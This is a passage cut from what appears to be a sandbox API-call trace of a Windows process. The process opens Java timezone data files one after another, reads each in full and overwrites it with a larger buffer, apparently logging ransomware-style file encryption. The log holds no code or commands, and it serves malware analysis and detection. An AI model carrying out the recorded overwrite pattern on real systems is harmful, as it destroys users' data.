dwFlags=0x0, lpWideCharStr="Lome", cchWideChar=4, lpMultiByteStr=0x1e6a7a4, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lome", lpUsedDefaultChar=0x0) returned 4 [0044.887] ReadFile (in: hFile=0x1d0, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x2f4f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0044.888] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.888] WriteFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0044.888] CloseHandle (hObject=0x1d0) returned 1 [0044.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nairobi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.896] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.896] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x61 [0044.896] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.896] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.896] ReleaseMutex (hMutex=0x128) returned 1 [0044.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nairobi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nairobi", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nairobi", lpUsedDefaultChar=0x0) returned 7 [0044.896] ReadFile (in: hFile=0x168, lpBuffer=0x1df5cc8, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5cc8*, lpNumberOfBytesRead=0x2f4f2bc*=0x61, lpOverlapped=0x0) returned 1 [0044.898] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.898] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e9, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5e9, lpOverlapped=0x0) returned 1 [0044.898] CloseHandle (hObject=0x168) returned 1 [0044.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\adak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4c8 [0044.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.904] ReleaseMutex (hMutex=0x128) returned 1 [0044.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adak", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0044.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adak", cchWideChar=4, lpMultiByteStr=0x1e6a7a4, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adak", lpUsedDefaultChar=0x0) returned 4 [0044.904] ReadFile (in: hFile=0x168, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2f4f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0044.905] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.906] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2f4f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0044.906] CloseHandle (hObject=0x168) returned 1 [0044.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Mendoza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\mendoza"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.907] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.907] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x225 [0044.907] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.907] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.907] ReleaseMutex (hMutex=0x128) returned 1 [0044.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mendoza", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mendoza", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mendoza", lpUsedDefaultChar=0x0) returned 7 [0044.907] ReadFile (in: hFile=0x168, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x225, lpOverlapped=0x0) returned 1 [0044.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.908] WriteFile (in: hFile=0x168, lpBuffer=0x2617c68*, nNumberOfBytesToWrite=0x7ad, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c68*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7ad, lpOverlapped=0x0) returned 1 [0044.908] CloseHandle (hObject=0x168) returned 1 [0044.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\bahia"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.910] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.910] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x229 [0044.910] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.910] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.910] ReleaseMutex (hMutex=0x128) returned 1 [0044.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahia", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bahia", cchWideChar=5, lpMultiByteStr=0x1e6a7a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bahia", lpUsedDefaultChar=0x0) returned 5 [0044.910] ReadFile (in: hFile=0x168, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x229, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2f4f2bc*=0x229, lpOverlapped=0x0) returned 1 [0044.911] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.911] WriteFile (in: hFile=0x168, lpBuffer=0x2617c68*, nNumberOfBytesToWrite=0x7b1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617c68*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7b1, lpOverlapped=0x0) returned 1 [0044.911] CloseHandle (hObject=0x168) returned 1 [0044.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Campo_Grande" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\campo_grande"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.912] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.912] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x45c [0044.912] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.912] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.912] ReleaseMutex (hMutex=0x128) returned 1 [0044.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Campo_Grande", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Campo_Grande", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Campo_Grande", lpUsedDefaultChar=0x0) returned 12 [0044.912] ReadFile (in: hFile=0x168, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2f4f2bc*=0x45c, lpOverlapped=0x0) returned 1 [0044.914] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.914] WriteFile (in: hFile=0x168, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9e4, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x9e4, lpOverlapped=0x0) returned 1 [0044.914] CloseHandle (hObject=0x168) returned 1 [0044.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Curacao" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\curacao"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4d [0044.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.915] ReleaseMutex (hMutex=0x128) returned 1 [0044.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Curacao", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Curacao", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Curacao", lpUsedDefaultChar=0x0) returned 7 [0044.916] ReadFile (in: hFile=0x168, lpBuffer=0x1e8e928, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8e928*, lpNumberOfBytesRead=0x2f4f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0044.917] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.917] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0044.917] CloseHandle (hObject=0x168) returned 1 [0044.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Fortaleza" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\fortaleza"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.922] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.922] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x179 [0044.922] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0044.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.922] ReleaseMutex (hMutex=0x128) returned 1 [0044.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fortaleza", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Fortaleza", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Fortaleza", lpUsedDefaultChar=0x0) returned 9 [0044.922] ReadFile (in: hFile=0x168, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x179, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x179, lpOverlapped=0x0) returned 1 [0044.923] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0044.923] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x701, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x701, lpOverlapped=0x0) returned 1 [0044.923] CloseHandle (hObject=0x168) returned 1 [0044.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Halifax" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\halifax"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.449] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x774 [0045.451] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.451] ReleaseMutex (hMutex=0x128) returned 1 [0045.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Halifax", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Halifax", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Halifax", lpUsedDefaultChar=0x0) returned 7 [0045.453] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a348, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x2f4f2bc*=0x774, lpOverlapped=0x0) returned 1 [0045.465] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.465] WriteFile (in: hFile=0x1cc, lpBuffer=0x261dca8*, nNumberOfBytesToWrite=0xcfc, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261dca8*, lpNumberOfBytesWritten=0x2f4f2d0*=0xcfc, lpOverlapped=0x0) returned 1 [0045.465] CloseHandle (hObject=0x1cc) returned 1 [0045.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Winamac" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\winamac"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.466] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.466] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3a4 [0045.466] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.466] ReleaseMutex (hMutex=0x128) returned 1 [0045.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Winamac", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0045.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Winamac", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Winamac", lpUsedDefaultChar=0x0) returned 7 [0045.466] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x3a4, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2f4f2bc*=0x3a4, lpOverlapped=0x0) returned 1 [0045.470] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.471] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x92c, lpOverlapped=0x0) returned 1 [0045.471] CloseHandle (hObject=0x1cc) returned 1 [0045.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Maceio" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\maceio"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.472] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.472] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x189 [0045.473] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.473] ReleaseMutex (hMutex=0x128) returned 1 [0045.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maceio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maceio", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Maceio", lpUsedDefaultChar=0x0) returned 6 [0045.473] ReadFile (in: hFile=0x1cc, lpBuffer=0x1df3fd8, nNumberOfBytesToRead=0x189, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df3fd8*, lpNumberOfBytesRead=0x2f4f2bc*=0x189, lpOverlapped=0x0) returned 1 [0045.474] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0045.474] WriteFile (in: hFile=0x1cc, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x711, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x2f4f2d0*=0x711, lpOverlapped=0x0) returned 1 [0045.474] CloseHandle (hObject=0x1cc) returned 1 [0045.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Miquelon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\miquelon"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.474] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.475] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3a0 [0045.475] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0045.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.475] ReleaseMutex (hMutex=0x128) returned 1 [0045.475] WideCharToMultiByte (in: 